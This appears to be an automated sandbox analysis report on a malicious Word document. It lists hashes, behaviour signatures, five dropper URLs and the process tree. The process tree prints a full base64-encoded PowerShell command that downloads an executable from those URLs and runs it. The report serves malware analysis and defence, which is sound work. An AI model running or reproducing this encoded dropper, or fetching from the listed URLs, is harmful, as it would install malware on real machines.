Analysis

  • max time kernel
    100s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-06-2022 09:03

General

  • Target

    f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5.doc

  • Size

    143KB

  • MD5

    8ec323edb643a73a6fa43fccacf6deca

  • SHA1

    9cb74cfb6cb5991866159c1ccf5e5606c24ea051

  • SHA256

    f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5

  • SHA512

    57917137808d4ea22313b72470fbade7d10e4ed5c4588b01384eb5bd964417aee1913a9da745466aba3ae86d6afb8b0b75f9e2c79dede4eda74a930fbbcfc7cc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://splussystems.com/wp-admin/eUJLagjD/

exe.dropper

http://www.portduo.com/wp-content/KdWRhFjK/

exe.dropper

http://telenvivo.com/hq1g/vp33l1h56_o4b8mev9qw-7034/

exe.dropper

http://luxuryindiancatering.co.uk/wp-includes/ukoe_7v10mk-02/

exe.dropper

http://prizma.ch/wp-content/fFVmwFqTq/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
      powErSHell -e JABiADMAMAAyADUAMgAzAD0AJwBLADcAMQA0ADUAXwAwAF8AJwA7ACQAVAAwADUANwA1ADgANgAyACAAPQAgACcAMQAwADYAJwA7ACQAUwAzADcAMgA4ADgAMAA9ACcAUgAxADMANwA0ADMANwAnADsAJAB0AF8ANQAzADMAMAAzADEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAMAA1ADcANQA4ADYAMgArACcALgBlAHgAZQAnADsAJABwADIANwA1ADIANgA9ACcAWQBfADgANgA5ADUANwAnADsAJAB6ADkAMQA5ADEAMwA5AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAEUAYABUAC4AVwBgAGUAYgBjAEwASQBFAG4AVAA7ACQAUAAwADYANwA0ADQAMgA9ACcAaAB0AHQAcAA6AC8ALwBzAHAAbAB1AHMAcwB5AHMAdABlAG0AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQBVAEoATABhAGcAagBEAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcABvAHIAdABkAHUAbwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEsAZABXAFIAaABGAGoASwAvAEAAaAB0AHQAcAA6AC8ALwB0AGUAbABlAG4AdgBpAHYAbwAuAGMAbwBtAC8AaABxADEAZwAvAHYAcAAzADMAbAAxAGgANQA2AF8AbwA0AGIAOABtAGUAdgA5AHEAdwAtADcAMAAzADQALwBAAGgAdAB0AHAAOgAvAC8AbAB1AHgAdQByAHkAaQBuAGQAaQBhAG4AYwBhAHQAZQByAGkAbgBnAC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdQBrAG8AZQBfADcAdgAxADAAbQBrAC0AMAAyAC8AQABoAHQAdABwADoALwAvAHAAcgBpAHoAbQBhAC4AYwBoAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYARgBWAG0AdwBGAHEAVABxAC8AJwAuAFMAUABMAEkAVAAoACcAQAAnACkAOwAkAE8AOAA4ADYAOQA0AD0AJwBqADIANAA2ADEAMwA0ACcAOwBmAG8AcgBlAGEAYwBoACgAJABQADcAOQAxADcANQA5ACAAaQBuACAAJABQADAANgA3ADQANAAyACkAewB0AHIAeQB7ACQAegA5ADEAOQAxADMAOQAuAEQATwB3AE4ATABPAEEARABmAEkATABFACgAJABQADcAOQAxADcANQA5ACwAIAAkAHQAXwA1ADMAMwAwADMAMQApADsAJABQADYAMQBfADIAMQA5ADQAPQAnAFMAMAA3ADcAOABfADMAXwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHQAXwA1ADMAMwAwADMAMQApAC4AbABlAG4ARwB0AEgAIAAtAGcAZQAgADMAOAA5ADEANQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJAB0AF8ANQAzADMAMAAzADEAOwAkAEIAOQA1AF8ANgA1ADEAMAA9ACcAUwA5ADEAMgAyADcAMgAzACcAOwBiAHIAZQBhAGsAOwAkAEoANwA1ADAANgAxADYAOAA9ACcASwA1ADUAXwA0ADgANwBfACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAANQA5ADIAXwAyADYAPQAnAFcAMQA5ADQANgA3ADUAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:592

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/592-66-0x000007FEF4030000-0x000007FEF4A53000-memory.dmp

      Filesize

      10.1MB

    • memory/592-72-0x000000000275B000-0x000000000277A000-memory.dmp

      Filesize

      124KB

    • memory/592-71-0x0000000002754000-0x0000000002757000-memory.dmp

      Filesize

      12KB

    • memory/592-69-0x000000000275B000-0x000000000277A000-memory.dmp

      Filesize

      124KB

    • memory/592-67-0x000007FEF34D0000-0x000007FEF402D000-memory.dmp

      Filesize

      11.4MB

    • memory/592-68-0x0000000002754000-0x0000000002757000-memory.dmp

      Filesize

      12KB

    • memory/1080-64-0x0000000006132000-0x0000000006135000-memory.dmp

      Filesize

      12KB

    • memory/1080-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1080-63-0x0000000006132000-0x0000000006135000-memory.dmp

      Filesize

      12KB

    • memory/1080-62-0x00000000060F0000-0x00000000060F3000-memory.dmp

      Filesize

      12KB

    • memory/1080-54-0x00000000727B1000-0x00000000727B4000-memory.dmp

      Filesize

      12KB

    • memory/1080-74-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB

    • memory/1080-59-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB

    • memory/1080-73-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1080-57-0x00000000752D1000-0x00000000752D3000-memory.dmp

      Filesize

      8KB

    • memory/1080-70-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB

    • memory/1080-61-0x00000000060F0000-0x00000000060F3000-memory.dmp

      Filesize

      12KB

    • memory/1080-55-0x0000000070231000-0x0000000070233000-memory.dmp

      Filesize

      8KB

    • memory/1548-60-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmp

      Filesize

      8KB